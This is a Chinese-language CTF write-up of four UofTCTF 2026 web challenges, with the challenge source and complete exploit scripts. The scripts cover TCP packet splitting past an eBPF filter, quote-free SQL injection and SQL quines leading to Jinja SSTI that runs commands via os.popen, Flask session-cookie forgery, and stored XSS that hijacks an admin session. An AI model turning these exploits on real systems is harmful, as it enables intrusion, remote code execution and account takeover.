UofTCTF2026-web部分wp
UofTCTF2026-web部分wp
Firewall
题目
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/pkt_cls.h>
#define IP_MF 0x2000 /* "More Fragments" */
#define IP_OFFSET 0x1fff /* "Fragment Offset" */
#define MAX_PKT_LEN 0xffff
#define WINDOW_LEN 256
#define KW_LEN 4
static const char blocked_kw[KW_LEN] = "flag";
static const char blocked_char = '%';
struct kw_scan_ctx {
struct __sk_buff *skb;
__u32 off;
__u32 len;
__u32 found;
};
static long kw_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[KW_LEN];
// We guarantee idx + KW_LEN <= ctx->len from the caller, so no extra
// bounds check is needed here for the packet.
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
// Treat load error as found kw
ctx->found = 1;
return 1;
}
if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_kw(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
return 1;
// Cannot match when length is shorter than KW_LEN
if (len < KW_LEN) {
return 0;
}
struct kw_scan_ctx ctx = {
.skb = skb,
.off = off,
.len = len,
.found = 0,
};
// Use bpf_loop to make verifier happy
__u32 nr_loops = len - KW_LEN + 1;
long ret = bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);
if (ret < 0) {
return 1;
}
return ctx.found ? 1 : 0;
}
static long char_scan_cb(__u32 idx, void *data)
{
struct kw_scan_ctx *ctx = data;
unsigned char buf[1];
if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, 1) < 0) {
// Treat load error as found kw
ctx->found = 1;
return 1;
}
if (buf[0] == blocked_char) {
ctx->found = 1;
return 1;
}
return 0;
}
__u32 __always_inline has_blocked_char(struct __sk_buff *skb, __u32 off, __u32 len)
{
if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
return 1;
if (len < 1)
return 0;
struct kw_scan_ctx ctx = {
.skb = skb,
.off = off,
.len = len,
.found = 0,
};
// Use bpf_loop to make verifier happy
__u32 nr_loops = len;
long ret = bpf_loop(nr_loops, char_scan_cb, &ctx, 0);
if (ret < 0) {
return 1;
}
return ctx.found ? 1 : 0;
}
SEC("tc/ingress")
int firewall_in(struct __sk_buff *skb) {
void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end;
// L2
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end) {
return TC_ACT_UNSPEC;
}
// Handle IPv4
if (skb->protocol == bpf_htons(ETH_P_IP)) {
struct iphdr * iph = (void *)(eth + 1);
if ((void *)(iph + 1) > data_end) {
return TC_ACT_UNSPEC;
}
if (iph->version != 4) {
return TC_ACT_UNSPEC;
}
__u32 ip_hdr_size = (iph->ihl & 0x0F) << 2;
if (ip_hdr_size < sizeof(*iph)) {
return TC_ACT_UNSPEC;
}
if ((void *)iph + ip_hdr_size > data_end) {
return TC_ACT_UNSPEC;
}
// Only allow a single fragment
if (iph->frag_off & bpf_htons(IP_MF | IP_OFFSET)) {
return TC_ACT_SHOT;
}
// Only care about TCP
if (iph->protocol != IPPROTO_TCP) {
return TC_ACT_UNSPEC;
}
__u16 ip_tot_len = bpf_ntohs(iph->tot_len);
if (ip_hdr_size > ip_tot_len) {
return TC_ACT_UNSPEC;
}
// Filter traffic
if (has_blocked_kw(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
return TC_ACT_SHOT;
}
if (has_blocked_char(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
return TC_ACT_SHOT;
}
return TC_ACT_OK;
} else if (skb->protocol == bpf_htons(ETH_P_IPV6)) {
// No IPv6
return TC_ACT_SHOT;
}
return TC_ACT_UNSPEC;
}
char _license[] SEC("license") = "GPL";
服务端前面挂了一个 eBPF tc ingress “防火墙”,会扫描进入服务器的IPv4 TCP包内容,只要出现:
- 关键字
"flag"(连续 4 字节匹配) - 或者字符
'%'(0x25)
就直接丢包(TC_ACT_SHOT)
目标就是:在不触发丢包规则的情况下,读取 /flag.html
分析
- 只允许 IPv4,直接封 IPv6
- 不允许 IP 分片(
MF或OFFSET置位就丢) - 只看 TCP(其他协议不管)
- 扫描范围非常粗暴:从
ETH_HLEN + ip_hdr_size开始扫ip_tot_len - ip_hdr_size字节
注意第4点中:ETH_HLEN + ip_hdr_size 其实是TCP Header起始位置,也就是说它扫描的是:
TCP Header + TCP Payload(整个 TCP segment)
这带来两个“很好用”的副作用:
- 没有做TCP stream重组:它只看“一个包里的连续字节”,不会把两段 TCP 包拼起来再匹配
"flag"
→ 经典的分包绕过 - 它连 TCP Header 都扫:TCP 里有一堆看似“随机”的字段(比如初始 seq 等),出现 0x25 的概率并不低
→ 这就会导致 “看起来像网络不稳定” 的丢包现象(实际上是撞到%就被shot)
利用
把flag拆开,不在同一个TCP包里连续出现
比如请求行想发:
GET /flag.html HTTP/1.1直接拆成两段TCP send:
- 先发:
GET /fl - 再发:
ag.html HTTP/1.1\r\nHost: ...
只要能让内核发成两个TCP segment(或者让对端看到是两段包),eBPF 扫描时永远凑不齐连续 "flag"
我这里简单粗暴用 time.sleep(0.1) 强制分包
概率丢包:重试 + Range 分块下载
因为 % 是单字节匹配,只要扫描范围里出现 0x25 就丢包。这个东西你没法稳定控制(尤其 TCP header 会变),所以策略就是:
- 每次只拉一小段(HTTP
Range: bytes=start-end) - 如果这次请求“没响应 / 响应不对”,当作被丢包,直接重试这一段
- 直到拿到
206 Partial Content,再推进 offset - 文件结束会返回
416 Range Not Satisfiable
步长我用得很小(比如 3),一方面便于重试,另一方面也能降低单次请求长度,减少“撞到 %”的概率
exp
import socket
import time
import sys
HOST = "35.227.38.232"
PORT = 5000
def get_flag_chunk(start: int, end: int) -> tuple[int | None, bytes]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2.0)
try:
s.connect((HOST, PORT))
tail = (
f"ag.html HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
f"Range: bytes={start}-{end}\r\n"
f"Connection: close\r\n\r\n"
).encode()
s.sendall(b"GET /fl")
time.sleep(0.1)
s.sendall(tail)
resp = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
except socket.timeout:
break
if b"\r\n\r\n" not in resp:
return None, b""
header, body = resp.split(b"\r\n\r\n", 1)
if b"206 Partial" in header:
return 206, body
if b"416 Range" in header:
return 416, b""
return None, b""
except Exception:
return None, b""
finally:
try:
s.close()
except Exception:
pass
def main():
full = bytearray()
offset = 0
step = 3
while True:
status, body = get_flag_chunk(offset, offset + step - 1)
if status == 206:
full += body
offset += step
text = full.decode(errors="ignore")
last_line = text.splitlines()[-1] if text.splitlines() else text
sys.stdout.write("\r" + last_line[-120:])
sys.stdout.flush()
continue
if status == 416:
sys.stdout.write("\n")
sys.stdout.flush()
print(full.decode(errors="ignore"))
return
continue
if __name__ == "__main__":
main()No Quotes
题目
import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"
app = Flask(__name__)
app.secret_key = os.urandom(24)
def get_db_connection():
return pymysql.connect(
host=MYSQL_HOST,
port=MYSQL_PORT,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DATABASE,
autocommit=True,
)
def ensure_db() -> None:
conn = get_db_connection()
try:
with conn.cursor() as cur:
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
)
"""
)
cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
exists = cur.fetchone()
if not exists:
cur.execute(
"INSERT INTO users (username, password) VALUES (%s, %s)",
("test", "test"),
)
finally:
conn.close()
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[1]
return redirect(url_for("home"))
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
if __name__ == "__main__":
ensure_db()
app.run(host="0.0.0.0", port=5000, debug=False)
Flask + MySQL 登录页
后端是sql:
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)登录成功后:
session["user"] = row[1]
return render_template_string(open("templates/home.html").read() % session["user"])也就是说:只要能把session["user"] 变成 {{ ... }},就能ssti
分析
SQL 注入
waf只拦 ' ",但MySQL里反斜杠 \ 是可以转义引号的
我把username设成一个反斜杠:\
那么拼出来会变成:
username = ('\') AND password = ('...')'\'' 这种结构在 MySQL 的字符串语义下会把引号搞乱(本质就是让后续 SQL 被吃进字符串/或逃逸出来),再配合 password 做闭合,就能打UNION
同时因为不能用引号,直接用十六进制绕过
SSTI
因为查询取的是 (id, username),用UNION让第二列变成ssti的payload:
SELECT 1, 0x<hex_of_payload>
登录成功后session user就是payload,访问/home触发render_template_string,直接rce
利用
{{ lipsum.__globals__.os.popen('/readflag').read() }}然后hex编码塞进UNION里即可
exp
import requests
import binascii
url = "https://no-quotes-7a00a44ab013ce58.chals.uoftctf.org/"
ssti = "{{ lipsum.__globals__.os.popen('/readflag').read() }}"
ssti_hex = "0x" + binascii.hexlify(ssti.encode()).decode()
data = {
"username": "\\",
"password": f") UNION SELECT 1, {ssti_hex} #"
}
s = requests.Session()
s.post(url + "login", data=data)
r = s.get(url + "home")
print(r.text)No Quotes 2
题目
import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"
app = Flask(__name__)
app.secret_key = os.urandom(24)
def get_db_connection():
return pymysql.connect(
host=MYSQL_HOST,
port=MYSQL_PORT,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DATABASE,
autocommit=True,
)
def ensure_db() -> None:
conn = get_db_connection()
try:
with conn.cursor() as cur:
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
)
"""
)
cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
exists = cur.fetchone()
if not exists:
cur.execute(
"INSERT INTO users (username, password) VALUES (%s, %s)",
("test", "test"),
)
finally:
conn.close()
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT username, password FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
if not username == row[0] or not password == row[1]:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[0]
return redirect(url_for("home"))
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
if __name__ == "__main__":
ensure_db()
app.run(host="0.0.0.0", port=5000, debug=False)
SQL 还是拼接,但查询变成:
SELECT username, password FROM users WHERE ...并且登录后多了一段校验:
if not username == row[0] or not password == row[1]:
return "Invalid"UNION回来的那一行,必须“看起来”完全等于提交的用户名/密码
分析
泄漏 key → 伪造session cookie → rce
Quine
既然要满足 password == row[1],那 row[1] 必须等于我提交的整个注入 payload 本身
这就是典型的SQL Quine:构造一个表达式,它的输出等于它自己的源码字符串
用replace和@a:即可:
)UNION SELECT _utf8 0x{username_hex},
REPLACE(@a:=_utf8 0x.,0x2E,HEX(@a))#@a := _utf8 0x.先把模板存到变量(里面用.当占位符)HEX(@a)会把模板的 hex 编出来REPLACE(..., 0x2E, HEX(@a))把占位符.替换成模板自己的 hex
→ 输出就等于“最终完整 payload”,达成 quine
username 用 {{config}}\\
直接把username写成{{config}}\\:
{{config}}:在/home里触发ssti- 尾巴
\\:绕过SQL引号/逃逸(跟第一题一样的)
这样登录成功后,一访问 /home 就能在页面里看到 SECRET_KEY。
伪造 Flask session
拿到 SECRET_KEY 后,本来用itsdangerous直接dumps就行。
但这题环境有一个非常典的坑:服务器时间和本地时间可能不一样(或者签名校验对 timestamp 有窗口限制),导致本地生成的cookie timestamp不被接受
最稳的办法就是:
- 先拿到一个合法
session cookie - 把 cookie 的三段结构
[data].[timestamp].[sig]里中间那段timestamp拿出来 - 构造payload时强制复用这个timestamp
exp
import requests
import re
import binascii
import hashlib
import hmac
import html
import ast
import base64
import json
URL = "https://no-quotes-2-8a1406873fef7930.chals.uoftctf.org"
def b64u(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")
def manual_sign(secret_key: bytes, payload: dict, ts_b64: str) -> str:
data = json.dumps(payload, separators=(",", ":")).encode()
data_b64 = b64u(data)
# Flask cookie-session key derivation: HMAC-SHA1(secret, salt)
salt = b"cookie-session"
derived = hmac.new(secret_key, salt, hashlib.sha1).digest()
if isinstance(ts_b64, str):
ts_b64 = ts_b64.encode()
sig_base = data_b64 + b"." + ts_b64
sig = b64u(hmac.new(derived, sig_base, hashlib.sha1).digest())
return (sig_base + b"." + sig).decode()
def solve():
s = requests.Session()
#SQLi + quine登录,并让/home打印config
target_username = "{{config}}\\"
u_hex = binascii.hexlify(target_username.encode()).decode().upper()
template = f")UNION SELECT _utf8 0x{u_hex},REPLACE(@a:=_utf8 0x.,0x2E,HEX(@a))#"
template_hex = binascii.hexlify(template.encode()).decode().upper()
password_payload = template.replace(".", template_hex)
r = s.post(URL + "/login", data={"username": target_username, "password": password_payload})
# 拿cookie的timestamp
server_cookie = s.cookies.get("session")
ts = server_cookie.split(".")[1]
#访问/home触发渲染,提取 SECRET_KEY
content = html.unescape(r.text)
if "/home" not in r.url and "Under Construction" not in content:
content = html.unescape(s.get(URL + "/home").text)
m = re.search(r"'SECRET_KEY':\s*(b(['\"]).+?\2)", content)
secret_key = ast.literal_eval(m.group(1))
#伪造 session
rce = "{{ config.__class__.__init__.__globals__['os'].popen('/readflag').read() }}"
forged = manual_sign(secret_key, {"user": rce}, ts)
s.cookies.clear()
s.cookies.set("session", forged)
out = s.get(URL + "/home").text
print(out)
if __name__ == "__main__":
solve()No Quotes 3
题目
import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
import hashlib
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"
app = Flask(__name__)
app.secret_key = os.urandom(24)
def get_db_connection():
return pymysql.connect(
host=MYSQL_HOST,
port=MYSQL_PORT,
user=MYSQL_USER,
password=MYSQL_PASSWORD,
database=MYSQL_DATABASE,
autocommit=True,
)
def ensure_db() -> None:
conn = get_db_connection()
try:
with conn.cursor() as cur:
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
)
"""
)
cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
exists = cur.fetchone()
if not exists:
cur.execute(
"INSERT INTO users (username, password) VALUES (%s, %s)",
("test", "test"),
)
finally:
conn.close()
def waf(value: str) -> bool:
blacklist = ["'", '"', "."]
return any(char in value for char in blacklist)
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes or periods allowed!",
username=username,
)
query = (
"SELECT username, password FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[0]
return redirect(url_for("home"))
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
@app.post("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
if __name__ == "__main__":
ensure_db()
app.run(host="0.0.0.0", port=5000, debug=False)
- WAF 多 ban 了一个
.(period) - 密码校验改成哈希:
hashlib.sha256(password.encode()).hexdigest() == row[1]所以 quine 不够了:得让数据库返回的第二列等于sha256(password)
分析
思路还是一样:用 quine 生成“等于自身的字符串”,但最终输出不直接返回 quine 字符串,而是返回它的hash:
)UNION SELECT 0x{u_hex},
LOWER(SHA2(REPLACE(@a:=0x$,0x24,HEX(@a)),256))#@a := 0x$用$当占位符(因为.被 ban 了)REPLACE(..., 0x24, HEX(@a))用自身 hex 替换$- 最外层
SHA2(...,256)再算 sha256,刚好满足后端校验
后面流程与 No Quotes 2 完全一致:
{{config}}\\让 /home 泄漏SECRET_KEY- 抠服务器下发 cookie 的 timestamp
- 手动签一个含 RCE 的 session cookie
- /home 触发,出 flag
exp
import requests
import re
import binascii
import hashlib
import hmac
import html
import ast
import base64
import json
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
URL = "https://no-quotes-3-6c09ef7ea63d7e78.chals.uoftctf.org"
def base64_url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=')
def manual_flask_sign(secret_key, payload_dict, timestamp_b64):
json_str = json.dumps(payload_dict, separators=(',', ':'))
payload_b64 = base64_url_encode(json_str.encode())
salt = b'cookie-session'
kdf = hmac.new(secret_key, digestmod=hashlib.sha1)
kdf.update(salt)
derived_key = kdf.digest()
if isinstance(timestamp_b64, str):
timestamp_b64 = timestamp_b64.encode()
sig_base = payload_b64 + b'.' + timestamp_b64
mac = hmac.new(derived_key, msg=sig_base, digestmod=hashlib.sha1)
signature = base64_url_encode(mac.digest())
return sig_base + b'.' + signature
def solve():
s = requests.Session()
target_username = "{{config}}\\"
u_hex = binascii.hexlify(target_username.encode()).decode().upper()
template = f")UNION SELECT 0x{u_hex},LOWER(SHA2(REPLACE(@a:=0x$,0x24,HEX(@a)),256))#"
template_hex = binascii.hexlify(template.encode()).decode().upper()
password_payload = template.replace('$', template_hex)
r = s.post(URL + "/login", data={"username": target_username, "password": password_payload})
server_cookie = s.cookies.get("session")
if not server_cookie:
return
cookie_parts = server_cookie.split('.')
if len(cookie_parts) != 3:
return
server_timestamp = cookie_parts[1]
content = html.unescape(r.text)
if "Under Construction" not in content and "/home" not in r.url:
r = s.get(URL + "/home")
content = html.unescape(r.text)
match = re.search(r"'SECRET_KEY':\s*(b(['\"]).+?\2)", content)
if not match:
return
key_repr = match.group(1)
try:
secret_key = ast.literal_eval(key_repr)
print(f"[+] 提取 SECRET_KEY: {secret_key}")
except Exception as e:
return
cmd = "/readflag"
rce_payload = f"{{{{ config.__class__.__init__.__globals__['os'].popen('{cmd}').read() }}}}"
forged_cookie = manual_flask_sign(secret_key, {"user": rce_payload}, server_timestamp)
print(f"伪造的 Cookie: {forged_cookie.decode()}")
s.cookies.clear()
s.cookies.set("session", forged_cookie.decode())
r_final = s.get(URL + "/home")
print(r_final.text)
if __name__ == "__main__":
solve()Personal Blog
题目
一个看起来很正常的Node/Express博客:
- 注册/登录后可以创建文章、编辑草稿
/report可以把一个“本地url”提交给bot,让bot以admin身份登录后访问/flag只有admin能访问
分析
/api/save会净化,/api/autosave不净化(存储型 XSS)
/api/save有DOMPurify:
app.post('/api/save', requireLogin, (req, res) => {
...
const rawContent = String(req.body.content || '');
const sanitized = sanitizeHtml(rawContent);
post.savedContent = sanitized;
post.draftContent = sanitized;
...
});但autosave直接原样写入draftContent:
app.post('/api/autosave', requireLogin, (req, res) => {
...
const rawContent = String(req.body.content || '');
post.draftContent = rawContent; // <= 原样存储
...
});而编辑页会把draftContent渲染出来(题目环境里是非转义输出),所以这就是一个稳定的stored XSS:
写进draft → admin打开编辑页 → 直接执行
Cookie 配置:httpOnly: false(XSS 直接读 cookie)
function cookieOptions() {
return {
httpOnly: false,
sameSite: 'Lax',
path: '/'
};
}这个点非常关键:XSS能直接document.cookie读到sid / sid_prev。
访问时如果带sid,就会复制到sid_prev
app.get('/magic/:token', (req, res) => {
...
const existingSid = req.cookies.sid;
if (existingSid) {
res.cookie('sid_prev', existingSid, cookieOptions()); // <= 备份旧 sid
}
const sid = createSession(db, record.userId);
...
res.cookie('sid', sid, cookieOptions()); // <= 发新 sid
return res.redirect(target);
});- 如果我访问magic link时已经登录(带
sid) - 服务端会把旧
sid存到sid_prev - 然后再发一个新的
sid
而sid_prev可被读取
/flag权限只看当前会话的user.isAdmin
app.get('/flag', requireLogin, (req, res) => {
if (!req.user.isAdmin) {
return res.status(403).send('Admins only.');
}
return res.send(FLAG);
});req.user来自 cookie sid → db.sessions:
function resolveSession(req, db) {
const sid = req.cookies.sid;
if (!sid) return null;
const session = db.sessions[sid];
if (!session) return null;
return getUserById(db, session.userId);
}所以只要能把浏览器里的sid换成admin的sid就能直接读到/flag
Bot:先admin登录,再访问提交的URL
await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' });
await page.type('input[name="username"]', ADMIN_USER, { delay: 40 });
await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 });
await Promise.all([
page.click('button[type="submit"]'),
page.waitForNavigation({ waitUntil: 'networkidle2' })
]);
await page.goto(targetUrl, { waitUntil: 'networkidle2' });
await new Promise((resolve) => setTimeout(resolve, 6000));相对路径会用 APP_ORIGIN 补全
function normalizeReportUrl(input) {
...
try {
if (input.startsWith('/')) {
url = new URL(input, APP_ORIGIN); // <= 相对路径用 APP_ORIGIN 补全
} else {
url = new URL(input);
}
} catch (err) {
return null;
}
...
url.host = appOrigin.host; // <= 强制归一化 host
return url.toString();
}如果bot登录在 http://localhost:3000,reporthttp://127.0.0.1:3000/...就可能出现:
- bot 访问 magic link 时 没带 admin sid
sid_prev根本不会被设置- 你在 XSS 里读不到
sid_prev,全链路断
所以:report 提交相对路径/magic/...,让服务端用APP_ORIGIN一次性补齐,保证同源
整理一下
把上面拼起来,就是一条非常顺的链:
- 普通用户创建一个post,拿到
post_id - 通过
/api/autosave往draftContent写xss - 生成magic link token
/report提交:/magic/<token>?redirect=/edit/<post_id>(相对路径,避免域名不一致)- bot:先admin 登录 → 访问 magic link
- magic把admin的旧
sid复制到sid_prev - 然后重定向到
/edit/<post_id>,触发xss
- XSS 执行:
document.cookie读出sid_prev(= admin sid)- 把
sid=改成admin sid fetch('/flag')拿 flag- 最后调用
/api/save把flag写到文章中
- 打开
/post/<post_id>读flag
exp
import requests
import re
import time
import base64
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
BASE_URL = "http://34.26.148.28:5000"
s = requests.Session()
retries = Retry(total=3, backoff_factor=1, status_forcelist=[500, 502, 503, 504])
s.mount("http://", HTTPAdapter(max_retries=retries))
def solve_pow(challenge_str: str):
try:
parts = challenge_str.split('.')
difficulty = int.from_bytes(base64.b64decode(parts[1]), 'big')
x = int.from_bytes(base64.b64decode(parts[2]), 'big')
MOD = (1 << 1279) - 1
for _ in range(difficulty):
target = x if pow(x, (MOD - 1) // 2, MOD) == 1 else MOD - x
x = pow(target, (MOD + 1) // 4, MOD) ^ 1
y = x.to_bytes((x.bit_length() + 7) // 8, 'big') or b'\x00'
return f"s.{base64.b64encode(y).decode()}"
except Exception:
return None
def one_shot(round_num: int) -> bool:
print(f"\n[Round {round_num}]")
username = f"hacker_{int(time.time())}_{round_num}"
password = "password123"
#注册 + 登录
s.post(f"{BASE_URL}/register", data={"username": username, "password": password}, timeout=10)
s.post(f"{BASE_URL}/login", data={"username": username, "password": password}, timeout=10)
#创建文章 -> 获取 post_id(/edit 会 302 到 /edit/:id)
r = s.get(f"{BASE_URL}/edit", allow_redirects=False, timeout=10)
if r.status_code == 302 and "Location" in r.headers:
post_id = r.headers["Location"].split("/")[-1]
else:
m = re.search(r"/edit/(\d+)", r.text)
if not m:
print("[-] get post_id failed")
return False
post_id = m.group(1)
#生成 magic token
s.post(f"{BASE_URL}/magic/generate", timeout=10)
account_html = s.get(f"{BASE_URL}/account", timeout=10).text
token = re.search(r"/magic/([a-f0-9]+)", account_html).group(1)
#autosave注入XSS
xss = f"""
<script>
(async () => {{
const save = async (msg) => {{
await fetch('/api/save', {{
method: 'POST',
headers: {{'Content-Type': 'application/json'}},
body: JSON.stringify({{
postId: {post_id},
content: "<h1>" + msg + "</h1><pre>" + document.cookie + "</pre>"
}})
}});
}};
await new Promise(r => setTimeout(r, 2000));
const m = document.cookie.match(/sid_prev=([a-zA-Z0-9]+)/);
if (!m) {{
await save("DEBUG: NO_SID_PREV (origin=" + location.origin + ")");
return;
}}
const adminSid = m[1];
const cur = document.cookie.match(/sid=([a-zA-Z0-9]+)/);
const hackerSid = cur ? cur[1] : "";
//切到 admin
document.cookie = "sid=" + adminSid + "; path=/";
try {{
//读 flag
const resp = await fetch('/flag');
const text = await resp.text();
if (hackerSid) document.cookie = "sid=" + hackerSid + "; path=/";
//写文章
await fetch('/api/save', {{
method: 'POST',
headers: {{'Content-Type': 'application/json'}},
body: JSON.stringify({{
postId: {post_id},
content: "<h1>WIN: " + text + "</h1>"
}})
}});
}} catch (e) {{
if (hackerSid) document.cookie = "sid=" + hackerSid + "; path=/";
await save("DEBUG: FETCH_ERROR " + e.toString());
}}
}})();
</script>
"""
s.post(
f"{BASE_URL}/api/autosave",
json={"postId": int(post_id), "content": xss},
headers={"Content-Type": "application/json"},
timeout=10
)
#report
attack_url = f"/magic/{token}?redirect=/edit/{post_id}"
report_html = s.get(f"{BASE_URL}/report", timeout=10).text
m = re.search(r'name="pow_challenge" value="([^"]+)"', report_html)
if m:
ch = m.group(1)
sol = solve_pow(ch)
s.post(
f"{BASE_URL}/report",
data={"url": attack_url, "pow_challenge": ch, "pow_solution": sol},
timeout=30
)
else:
s.post(f"{BASE_URL}/report", data={"url": attack_url}, timeout=30)
#读文章
time.sleep(10)
post_html = s.get(f"{BASE_URL}/post/{post_id}", timeout=10).text
if "uoftctf{" in post_html:
flag = re.search(r"(uoftctf\{.*?\})", post_html).group(1)
print(f"[+] FLAG: {flag}")
return True
if "DEBUG:" in post_html:
dbg = re.search(r"DEBUG:([^<]+)", post_html)
print(f"[-] debug: {dbg.group(1).strip() if dbg else 'unknown'}")
else:
print("[-] no response, retry")
return False
if __name__ == "__main__":
i = 1
while True:
if one_shot(i):
break
i += 1
time.sleep(2)本文详解四大CTF赛题利用链,涵盖分包绕过、SQL Quine、哈希回显及存储型XSS配合会话劫持的完整攻击路径
由 AI 根据全文自动生成,仅供参考,以原文为准